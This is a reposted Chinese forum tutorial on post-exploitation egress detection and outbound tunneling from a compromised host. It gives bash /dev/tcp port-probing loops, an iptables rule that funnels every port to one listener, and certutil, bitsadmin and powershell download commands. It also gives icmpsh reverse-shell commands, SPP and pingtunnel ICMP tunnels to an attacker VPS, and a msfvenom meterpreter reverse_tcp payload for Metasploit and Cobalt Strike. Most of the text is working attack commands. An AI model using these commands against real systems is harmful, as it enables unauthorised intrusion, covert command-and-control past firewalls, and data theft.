本帖最后由 Meng0f 于 2022-10-23 18:20 编辑
转载于:komorebi Tide安全团队 2022-10-19 17:03 发表于山东
出网探测出网探测就是要探测出网协议,出站ip和出站端口。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站协议。
目标禁止出站ip如果目标主机设置了严格的策略,防火墙只允许目标内网机器主动连接公网指定的ip。这样的话,没法反弹shell。(因为白名单ip没有办法拿到权限)。
禁止出站端口Linux系统使用Linux系统自带命令探测出网端口。( 探测目标机器可以访问baidu.com对应ip的端口) - for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i***********************open************************" || echo "$i closed";done
复制代码
webshell不好回显结果,将结果写入文件中 - for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************"|| echo "$i closed";done >> result.txt
复制代码
探测常见端口- for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done
复制代码- for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done >> result.txt
复制代码
攻击端的端口请求记录
从目标发起的端口访问请求,攻击端必须得配合记录,否则即便找到有效的出站端口,我们也无法获悉。思路一,单个逐次监听端口。对于少量端口的探测,攻击端很容易记录。比如,要验证 windows 目标的 8088 端口是否为出站端口,先在攻击端用 nc -n -v -lp 8088 监听 8088,指定 -v 选项观察实时访问记录,再在目标上用 telnet 192.168.56.8 8088 连接攻击端的 8088 端口,最后在攻击端查看端口访问记录,若有则该端口是有效出站端口,若无则重复以上步骤继续验证其他端口。
二,批量捆绑监听端口。试想一下,如果能够把攻击端的多个端口流量转发至单个汇聚端口,就只需监听单个汇聚端口,目标上发起多个端口探测,只要在攻击端转发的多个端口的范围内,那么,一旦找到有效出站端口,攻击端的汇聚端口一定有访问记录。说到端口转发,系统自带的 ssh、iptables,三方的 frp、nps,这些工具都能高效实现,于是,我从这四个工具中找寻具备端口捆绑能力的那位 攻击端这边需要有⽬标机访问的记录,才能更好的判断⽬标机器是否访问了我们。只要⽬标机器访问到 了我们VPS的任意⼀个端⼝,我们这边都能有记录。 //将所有端⼝的流量都绑定到34444端⼝ - iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444
复制代码
//查看nat表的规则
//清除nat表所有规则
//备份iptables规则 - iptables-save > /tmp/firewall.rules
复制代码
//恢复iptables规则 - iptables-restore < /tmp/firewall.rules
复制代码
配置防⽕墙规则,禁⽌访问远程机器的1-34566和34566-65535端⼝,也就是说只允许访问34567端⼝然后我们这边监听34444端⼝,在⽬标机器端⼝探测
禁止出站协议
对于禁止出站协议的情况,需要探测目标机器允许哪些协议出网。
探测ICMP协议服务端
监听ICMP流量:
客户端ping VPS地址,查看服务端能否收到请求VPS监听,然后ping我们vps查看能否收到监听来判断ICMP 协议是否出⽹。也可以直接ping⼀个地址,看是否 有ttl值。
探测DNS协议
Windows:
Linux:
通过判断能否将域名解析为ip,判断DNS协议是否出⽹。也可以将域名换成dnslog的域名,再看dnslog能否收到请求。
探测HTTP协议Linux:可以使用curl命令 - curl http://192.168.10.13
复制代码
Windows系统可以使用如下的命令 - certutil -urlcache -split -f http://www.baidu.com
- bitsadmin /transfer test http://192.168.10.13/1 c:\1
- powershell iwr -Uri http://www.baidu.com -OutFile 1 -UseBasicParsing
复制代码
只有ICMP协议出网
目标只有icmp协议能出⽹的话,则只有考虑使⽤icmp协议来搭建隧道。利⽤icmp协议通信的⼯具有很多icmpsh、reverse-icmp-shell、PingTunnel、IcmpTunnel都可以。常⻅的ping命令就是利⽤的ICMP协议。
icmpsh(2016+kali2017)
icmpsh 是一个简单的反向 ICMP shell,带有一个 win32 从站和一个 C、Perl 或 Python 中的兼容主站。与其他类似的开源工具相比,它的主要优势在于它不需要管理权限即可在目标机器上运行。使用ICMP进行命令控制(Icmpsh)适⽤场景:⽬标机器是Windows服务器 Linux服务器执行 - #关闭icmp回复,如果要开启icmp回复,该值设置为0
- sysctl -w net.ipv4.icmp_echo_ignore_all=1
- #运⾏,第⼀个IP是VPS的eth0⽹卡IP(vps上ifconfig可以得到),第⼆个IP是⽬标机器出⼝的公⽹IP
- python2 icmpsh_m.py 192.168.10.8 192.168.10.7
复制代码
目标机器的操作: - icmpsh.exe -t 192.168.10.8
复制代码
可以看到已经反弹出一个shell
ICMP上线CS
有如下场景,我们拿到了内⽹的机器权限。但是机器对外均只有icmp协议出网,我们现在可以利⽤icmp封装tcp协议,让其上线cs。
使用SPP
平常演练常用的一些隧道工具像frp,nps在目标出网的情况下还是比较好用的。但是一旦遇到一些比较恶劣的环境,比如只有icmp可以出网的情况,那就需要使用其他的工具像pingtunnel,ptunnel等。SPP三个特点:、 支持icmp、kcp、quic 支持双向的代理 可以自由进行内部外协议的组合 功能:支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理 协议和类型可以自由组合 外部代理协议和内部转发协议可以自由组合 支持shadowsock/s插件,spp-shadowsock/s-plugin,spp-shadowsock/s-plugin-android cs服务器端 - ./spp -type server -proto ricmp -listen 0.0.0.0
复制代码
客户端 - spp -name "test" -type proxy_client -server 140.143.167.58 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp
复制代码
pingtunnel上线MSF&CS
1、pingtunnel下载链接 https://github.com/esrrhs/pingtunnel/releases注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件;ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密 2 vps服务端开启 - ##开启服务器模式
- ./pingtunnel -type server
复制代码
3、客户端开启上传客户端 - ## 客户端本地监听9999端口 ,将监听到的连接通过icmpserver发送到Linsten_ip:7777端口
- pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t 82.157.64.237:7778 -tcp 1 -noprint 1 -nolog 1
复制代码
4、MSF上线 - msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o AAA.exe
复制代码
5、cs上线 建立监听127.0.0.1:9999和192.168.3.76:7777 对127的监听生成木马AAA.exe,传到靶机运行 - pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1
复制代码
|